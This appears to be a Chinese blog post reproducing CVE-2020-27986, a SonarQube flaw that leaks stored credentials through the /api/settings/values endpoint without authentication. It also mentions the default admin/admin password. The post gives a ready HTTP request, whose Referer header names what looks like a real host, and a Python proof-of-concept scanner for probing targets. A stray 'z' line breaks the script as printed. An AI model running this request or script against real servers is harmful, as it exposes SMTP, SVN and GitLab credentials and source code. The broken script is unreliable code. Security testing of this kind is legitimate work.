SonarQube 未授权漏洞

借鉴大佬文章:【漏洞验证】SonarQube 未授权漏洞Poc 

产品概述

SonarQube是一款开源静态代码质量分析管理工具,支持Java、Python、PHP、JavaScript、CSS等27种以上目前极为流程的编程开发语言,同时它能够便捷集成在各种IDE、Jenkins、Git等服务中,方便及时查看代码质量分析报告。该工具在github开源社区获得6.3K的关注量,在全球颇具影响力,深得全球各研发工作者的喜爱。

漏洞描述 

SonarQube是一款开源静态代码质量分析管理工具,在默认配置的情况下,缺少对API 接口的访问权限控制,攻击者可利用该漏洞在未授权的情况下,通过访问api/settings/values接口从而获取到 SMTP、SVN、GitLab 凭据,进一步获取源代码数据仓库中的源代码,造成项目源代码泄露。同时还可以对使用默认账号密码的用户进行攻击,系统安装完成后,默认弱口令为admin/admin,攻击者通过输入默认账号密码,同样可以获得敏感配置信息,从而进一步窃取企业源代码。

漏洞复现 

直接访问/api/settings/values接口

GET /api/settings/values HTTP/1.1
Host: xxx.xxx.xxx.xxx:port
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Referer: http://47.101.166.7:8882/about
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

大佬写的poc

# author: Zeo
# python: 3.7 
# datetime:2021/11/25 3:40 下午
# software: PyCharm

"""
文件说明:
"""

import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class EXP():
    def __init__(self, args):
        self.name = '''CVE-2020-27986 SonarQube api 未授权访问'''
        self.url = args.url
        self.res = ""

    def _attack(self):
        path = '/api/settings/values'
        try:
            resp = requests.get(self.url+path, timeout=10, verify=False)
            if resp.status_code == 200  and 'application/json' in resp.headers['Content-Type'] and 'sonaranalyzer-cs.nuget.packageVersion' in resp.text and 'sonar.core.id' in resp.text:
                self.res = "存在漏洞!"
            else:
                self.res = "不存在漏洞!"
        except requests.exceptions.RequestException as e:
            print("目标连接错误....")



def parseArgs():
    parser = argparse.ArgumentParser(description="[Exp]!",formatter_class=argparse.RawDescriptionHelpFormatter)
    group = parser.add_mutually_exclusive_group()
    group.add_argument("-u", '--url', help="URL to scan; -u http://example.com")
    args = parser.parse_args()

    return args


def output(exp):
    
    # print(f"Name {exp.name}")
    print(f"URL {exp.url}")
    print(f"RES {exp.res}")
    


if __name__ == "__main__":
    args = parseArgs()
    z
    exp = EXP(args)
    try:
        exp._attack()
    except Exception as e:
        print(e)
        exp.res = "Error"

    output(exp)

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值